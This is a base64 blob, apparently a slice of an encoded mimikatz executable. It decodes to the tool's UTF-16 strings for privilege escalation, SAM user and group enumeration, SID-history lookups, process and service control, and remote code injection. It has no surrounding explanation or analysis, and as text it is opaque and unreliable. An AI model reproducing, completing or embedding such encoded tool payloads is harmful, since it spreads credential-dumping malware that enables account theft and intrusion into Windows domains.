QAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAZwByAG8AdQBwAAAAYQBsAGkAYQBzAAAAbgBlAHQAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAQgB1AGkAbAB0AGkAbgAgACgAPwApACAAJQAwADgAeAAKAAAACgBEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIAA6ACAAJQB3AFoAAAAAAAoARABvAG0AYQBpAG4AIABTAEkARAAgACAAOgAgAAAACgAgACUALQA1AHUAIAAlAHcAWgAAAAAACgAgAHwAIAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQARwByAG8AdQBwAHMARgBvAHIAVQBzAGUAcgAgACUAMAA4AHgAAAAAAAoAIAB8AGAAJQAtADUAdQAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQAQQBsAGkAYQBzAE0AZQBtAGIAZQByAHMAaABpAHAAIAAlADAAOAB4AAAAAAAKACAAfAC0ACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBSAGkAZABUAG8AUwBpAGQAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAARABvAG0AYQBpAG4ASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEQAbwBtAGEAaQBuAHMASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AQwBvAG4AbgBlAGMAdAAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBnAHIAbwB1AHAAIAA7ACAAUwBhAG0ARwBlAHQATQBlAG0AYgBlAHIAcwBJAG4AQQBsAGkAYQBzACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBPAHAAZQBuAEcAcgBvAHUAcAAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBnAHIAbwB1AHAAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARwByAG8AdQBwAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBnAHIAbwB1AHAAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEQAbwBtAGEAaQBuAHMASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBnAHIAbwB1AHAAIAA7ACAAUwBhAG0AQwBvAG4AbgBlAGMAdAAgACUAMAA4AHgACgAAAAoAIAB8ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBhAGwAaQBhAHMAIAA7ACAAUwBhAG0ARwBlAHQATQBlAG0AYgBlAHIAcwBJAG4AQQBsAGkAYQBzACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGEAbABpAGEAcwAgADsAIABTAGEAbQBPAHAAZQBuAEEAbABpAGEAcwAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBhAGwAaQBhAHMAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAQQBsAGkAYQBzAGUAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBhAGwAaQBhAHMAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEQAbwBtAGEAaQBuAHMASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBhAGwAaQBhAHMAIAA7ACAAUwBhAG0AQwBvAG4AbgBlAGMAdAAgACUAMAA4AHgACgAAACUAdwBaAAkAKAAlAHMAKQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHMAaQBtAHAAbABlAEwAbwBvAGsAdQBwACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEkAZABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAABkAGUAYgB1AGcAAABBAHMAawAgAGQAZQBiAHUAZwAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAZAByAGkAdgBlAHIAAAAAAEEAcwBrACAAbABvAGEAZAAgAGQAcgBpAHYAZQByACAAcAByAGkAdgBpAGwAZQBnAGUAAABBAHMAawAgAHMAZQBjAHUAcgBpAHQAeQAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAB0AGMAYgAAAEEAcwBrACAAdABjAGIAIABwAHIAaQB2AGkAbABlAGcAZQAAAGIAYQBjAGsAdQBwAAAAAABBAHMAawAgAGIAYQBjAGsAdQBwACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAHIAZQBzAHQAbwByAGUAAABBAHMAawAgAHIAZQBzAHQAbwByAGUAIABwAHIAaQB2AGkAbABlAGcAZQAAAHMAeQBzAGUAbgB2AAAAAABBAHMAawAgAHMAeQBzAHQAZQBtACAAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAcAByAGkAdgBpAGwAZQBnAGUAAAAAAEEAcwBrACAAYQAgAHAAcgBpAHYAaQBsAGUAZwBlACAAYgB5ACAAaQB0AHMAIABpAGQAAABBAHMAawAgAGEAIABwAHIAaQB2AGkAbABlAGcAZQAgAGIAeQAgAGkAdABzACAAbgBhAG0AZQAAAHAAcgBpAHYAaQBsAGUAZwBlAAAAUAByAGkAdgBpAGwAZQBnAGUAIABtAG8AZAB1AGwAZQAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBzAGkAbQBwAGwAZQAgADsAIABSAHQAbABBAGQAagB1AHMAdABQAHIAaQB2AGkAbABlAGcAZQAgACgAJQB1ACkAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAGkAZAAgADsAIABNAGkAcwBzAGkAbgBnACAAJwBpAGQAJwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBuAGEAbQBlACAAOwAgAEwAVQBJAEQAIABoAGkAZwBoACAAcABhAHIAdAAgAGkAcwAgACUAdQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAaQB2AGkAbABlAGcAZQBfAG4AYQBtAGUAIAA7ACAATABvAG8AawB1AHAAUAByAGkAdgBpAGwAZQBnAGUAVgBhAGwAdQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AbgBhAG0AZQAgADsAIABNAGkAcwBzAGkAbgBnACAAJwBuAGEAbQBlACcACgAAAGUAeABwAG8AcgB0AHMAAABMAGkAcwB0ACAAZQB4AHAAbwByAHQAcwAAAAAAaQBtAHAAbwByAHQAcwAAAEwAaQBzAHQAIABpAG0AcABvAHIAdABzAAAAAABzAHQAYQByAHQAAABTAHQAYQByAHQAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdABvAHAAAAAAAFQAZQByAG0AaQBuAGEAdABlACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHUAcwBwAGUAbgBkAAAAUwB1AHMAcABlAG4AZAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcgBlAHMAdQBtAGUAAAAAAFIAZQBzAHUAbQBlACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAFAAcgBvAGMAZQBzAHMAIABtAG8AZAB1AGwAZQAAAAAAVAByAHkAaQBuAGcAIAB0AG8AIABzAHQAYQByAHQAIAAiACUAcwAiACAAOgAgAAAATwBLACAAIQAgACgAUABJAEQAIAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AcwB0AGEAcgB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAE4AdABUAGUAcgBtAGkAbgBhAHQAZQBQAHIAbwBjAGUAcwBzAAAAAABOAHQAUwB1AHMAcABlAG4AZABQAHIAbwBjAGUAcwBzAAAAAABOAHQAUgBlAHMAdQBtAGUAUAByAG8AYwBlAHMAcwAAACUAcwAgAG8AZgAgACUAdQAgAFAASQBEACAAOgAgAE8ASwAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAJQBzACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAHAAaQBkACAAKAAvAHAAaQBkADoAMQAyADMAKQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcAAAAlAHUACQAlAHcAWgAAAAAAIAAoAAAAAAApAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AbwBwAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAlAHcAWgAAAAAACgAJACUAcAAgAC0APgAgACUAdQAAAAAACQAlAHUAAAAJACAAAAAAAAkAJQBwAAAACQAlAFMAAAAJAC0APgAgACUAUwAAAAAACgAJACUAcAAgAC0APgAgACUAcAAJACUAUwAgACEAIAAAAAAAJQBTAAAAAAAjACUAdQAAAFMAdABhAHIAdAAgAHMAZQByAHYAaQBjAGUAAABSAGUAbQBvAHYAZQAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdABvAHAAIABzAGUAcgB2AGkAYwBlAAAAAABTAHUAcwBwAGUAbgBkACAAcwBlAHIAdgBpAGMAZQAAAFIAZQBzAHUAbQBlACAAcwBlAHIAdgBpAGMAZQAAAAAAcAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuACAAcwBlAHIAdgBpAGMAZQAAAHMAaAB1AHQAZABvAHcAbgAAAAAAUwBoAHUAdABkAG8AdwBuACAAcwBlAHIAdgBpAGMAZQAAAAAATABpAHMAdAAgAHMAZQByAHYAaQBjAGUAcwAAAFMAZQByAHYAaQBjAGUAIABtAG8AZAB1AGwAZQAAAAAAJQBzACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABTAGUAcgB2AGkAYwBlACAAbwBwAGUAcgBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAEkAbgBqAGUAYwB0ACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAKAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABzAGUAcgB2AGkAYwBlACAAbgBhAG0AZQAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAABTAHQAYQByAHQAaQBuAGcAAAAAAFIAZQBtAG8AdgBpAG4AZwAAAAAAUwB0AG8AcABwAGkAbgBnAAAAAABTAHUAcwBwAGUAbgBkAGkAbgBnAAAAAABSAGUAcwB1AG0AaQBuAGcAAAAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFMAaAB1AHQAZABvAHcAbgAAAAAAcwBlAHIAdgBpAGMAZQBzAC4AZQB4AGUAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAABlAHIAcgBvAHIAIAAlAHUACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaQB0AGgAbwB1AHQAIABTAGMAUwBlAG4AZABDAG8AbgB0AHIAbwBsAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABsAG8AbwBrAHUAcAAAAAAATgBhAG0AZQAgAG8AcgAgAFMASQBEACAAbABvAG8AawB1AHAAAAAAAHEAdQBlAHIAeQAAAFEAdQBlAHIAeQAgAG8AYgBqAGUAYwB0ACAAYgB5ACAAUwBJAEQAIABvAHIAIABuAGEAbQBlAAAAUwBlAGMAdQByAGkAdAB5ACAASQBkAGUAbgB0AGkAZgBpAGUAcgBzACAAbQBvAGQAdQBsAGUAAABTAEkARAAgACAAIAA6ACAAJQBzAAoAAABUAHkAcABlACAAIAA6ACAAJQBzAAoARABvAG0AYQBpAG4AOgAgACUAcwAKAE4AYQBtAGUAIAAgADoAIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABOAGEAbQBlAEQAbwBtAGEAaQBuAEYAcgBvAG0AUwBJAEQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAASQBuAHYAYQBsAGkAZAAgAFMASQBEAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBsAG8AbwBrAHUAcAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAATgBhAG0AZQAgACAAOgAgACUAcwAKAAAAVAB5AHAAZQAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuADoAIAAlAHMACgBTAEkARAAgACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAAawB1AGwAbABfAG0AXwB0AG8AawBlAG4AXwBnAGUAdABTAGkAZABEAG8AbQBhAGkAbgBGAHIAbwBtAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AbABvAG8AawB1AHAAIAA7ACAALwBzAGkAZAAgAG8AcgAgAC8AbgBhAG0AZQAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAoAJQBzAAoAAAAAACAAIAAlAHMAOgAgAAAAAABzAEEATQBBAGMAYwBvAHUAbgB0AE4AYQBtAGUAAAAAACUAKgBTAAoAAAAAAG8AYgBqAGUAYwB0AFMAaQBkAAAAbwBiAGoAZQBjAHQARwBVAEkARAAAAAAACgAgACAAIABbACUAdQBdACAAAABzAEkARABIAGkAcwB0AG8AcgB5AAAAAAAgACgAIAAlAHMAIAAtAC0AIAAlAHMAXAAlAHMAIAApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAHEAdQBpAGMAawBTAGUAYQByAGMAaAAgADsAIABOAG8AIAByAGUAcwB1AGwAdAAhACAALQAgAGYAaQBsAHQAZQByACAAdwBhAHMAIAAnACUAcwAnAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AcQB1AGkAYwBrAFMAZQBhAHIAYwBoACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAKABzAEEATQBBAGMAYwBvAHUAbgB0AE4AYQBtAGUAPQAlAHMAKQAAACgAbwBiAGoAZQBjAHQAUwBpAGQAPQAAAFwAJQAwADIAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZgBpAGwAdABlAHIARgByAG8AbQBBAHIAZwBzACAAOwAgAEkAbgB2AGEAbABpAGQAIABTAEkARAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZgBpAGwAdABlAHIARgByAG8AbQBBAHIAZwBzACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGYAaQBsAHQAZQByAEYAcgBvAG0AQQByAGcAcwAgADsAIAAvAHMAYQBtACAAbwByACAALwBzAGkAZAAgAHQAbwAgAHQAYQByAGcAZQB0ACAAdABoAGUAIABhAGMAYwBvAHUAbgB0ACAAaQBzACAAbgBlAGUAZABlAGQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABMAGQAYQBwAEEAbgBkAFIAbwBvAHQARABOACAAOwAgAGwAZABhAHAAXwBiAGkAbgBkAF8AcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABMAGQAYQBwAEEAbgBkAFIAbwBvAHQARABOACAAOwAgAGwAZABhAHAAXwBpAG4AaQB0AAoAAAAAAHIAbwBvAHQARABvAG0AYQBpAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAAACgAZABuAD0AUgBvAG8AdABEAFMARQApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGkAZABfAGcAZQB0AFIAbwBvAHQARABvAG0AYQBpAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAgADsAIABsAGQAYQBwAF8AZwBlAHQAXwB2AGEAbAB1AGUAcwBfAGwAZQBuACAAaQBzACAATgBPAFQAIAAxAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAaQBkAF8AZwBlAHQAUgBvAG8AdABEAG8AbQBhAGkAbgBOAGEAbQBpAG4AZwBDAG8AbgB0AGUAeAB0ACAAOwAgAGwAZABhAHAAXwBjAG8AdQBuAHQAXwBlAG4AdAByAGkAZQBzACAAaQBzACAATgBPAFQAIAAxAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBpAGQAXwBnAGUAdABSAG8AbwB0AEQAbwBtAGEAaQBuAE4AYQBtAGkAbgBnAEMAbwBuAHQAZQB4AHQAIAA7ACAAbABkAGEAcABfAHMAZQBhAHIAYwBoAF8AcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAAAAAGUAeABpAHQAAAAAAFEAdQBpAHQAIABtAGkAbQBpAGsAYQB0AHoAAABjAGwAcwAAAEMAbABlAGEAcgAgAHMAYwByAGUAZQBuACAAKABkAG8AZQBzAG4AJwB0ACAAdwBvAHIAawAgAHcAaQB0AGgAIAByAGUAZABpAHIAZQBjAHQAaQBvAG4AcwAsACAAbABpAGsAZQAgAFAAcwBFAHgAZQBjACkAAAAAAGEAbgBzAHcAZQByAAAAAABBAG4AcwB3AGUAcgAgAHQAbwAgAHQAaABlACAAVQBsAHQAaQBtAGEAdABlACAAUQB1AGUAcwB0AGkAbwBuACAAbwBmACAATABpAGYAZQAsACAAdABoAGUAIABVAG4AaQB2AGUAcgBzAGUALAAgAGEAbgBkACAARQB2AGUAcgB5AHQAaABpAG4AZwAAAGMAbwBmAGYAZQBlAAAAAABQAGwAZQBhAHMAZQAsACAAbQBhAGsAZQAgAG0AZQAgAGEAIABjAG8AZgBmAGUAZQAhAAAAcwBsAGUAZQBwAAAAAAAAAFMAbABlAGUAcAAgAGEAbgAgAGEAbQBvAHUAbgB0ACAAbwBmACAAbQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAAABMAG8AZwAgAG0AaQBtAGkAawBhAHQAegAgAGkAbgBwAHUAdAAvAG8AdQB0AHAAdQB0ACAAdABvACAAZgBpAGwAZQAAAGIAYQBzAGUANgA0AAAAAAAAAAAAUwB3AGkAdABjAGgAIABmAGkAbABlACAAbwB1AHQAcAB1AHQALwBiAGEAcwBlADYANAAgAG8AdQB0AHAAdQB0AAAAAAB2AGUAcgBzAGkAbwBuAAAAAAAAAEQAaQBzAHAAbABhAHkAIABzAG8AbQBlACAAdgBlAHIAcwBpAG8AbgAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAAAAYwBkAAAAAAAAAAAAQwBoAGEAbgBnAGUAIABvAHIAIABkAGkAcwBwAGwAYQB5ACAAYwB1AHIAcgBlAG4AdAAgAGQAaQByAGUAYwB0AG8AcgB5AAAAbABvAGMAYQBsAHQAaQBtAGUAAAAAAAAARABpAHMAcABsAGEAeQBzACAAcwB5AHMAdABlAG0AIABsAG8AYwBhAGwAIABkAGEAdABlACAAYQBuAGQAIAB0AGkAbQBlACAAKABPAEoAIABjAG8AbQBtAGEAbgBkACkAAAAAAHMAdABhAG4AZABhAHIAZAAAAAAAUwB0AGEAbgBkAGEAcgBkACAAbQBvAGQAdQBsAGUAAABCAGEAcwBpAGMAIABjAG8AbQBtAGEAbgBkAHMAIAAoAGQAbwBlAHMAIABuAG8AdAAgAHIAZQBxAHUAaQByAGUAIABtAG8AZAB1AGwAZQAgAG4AYQBtAGUAKQAAAEIAeQBlACEACgAAADQAMgAuAAoAAAAAAAAAAAAKACAAIAAgACAAKAAgACgACgAgACAAIAAgACAAKQAgACkACgAgACAALgBfAF8AXwBfAF8AXwAuAAoAIAAgAHwAIAAgACAAIAAgACAAfABdAAoAIAAgAFwAIAAgACAAIAAgACAALwAKACAAIAAgAGAALQAtAC0ALQAnAAoAAAAAAFMAbABlAGUAcAAgADoAIAAlAHUAIABtAHMALgAuAC4AIAAAAEUAbgBkACAAIQAKAAAAAABtAGkAbQBpAGsAYQB0AHoALgBsAG8AZwAAAAAAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGYAbwByACAAbABvAGcAZgBpAGwAZQAgADoAIAAlAHMACgAAAAAAZgBhAGwAcwBlAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAdwBhAHMAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAGkAcwAgAG4AbwB3ACAAOgAgACUAcwAKAAAAAAA2ADQAAAAAADgANgAAAAAACgBtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMQAgACgAYQByAGMAaAAgAHgAOAA2ACkACgBXAGkAbgBkAG8AdwBzACAATgBUACAAJQB1AC4AJQB1ACAAYgB1AGkAbABkACAAJQB1ACAAKABhAHIAYwBoACAAeAAlAHMAKQAKAG0AcwB2AGMAIAAlAHUAIAAlAHUACgAAAEMAdQByADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AYwBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgBlAHcAOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABTAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEwAbwBjAGEAbAA6ACAAAABaAG8AbgBlACAAOgAgACUALgAzADIAcwAKAAAAVQBUAEMAIAAgADoAIAAAAEwAaQBzAHQAIAAuAC4ALgAAAAAAZwBlAHQAAABHAGUAdAAgAC4ALgAuAAAAcwBlAHQAAABTAGUAdAAgAC4ALgAuAAAAZABlAGwAAABEAGUAbAAgAC4ALg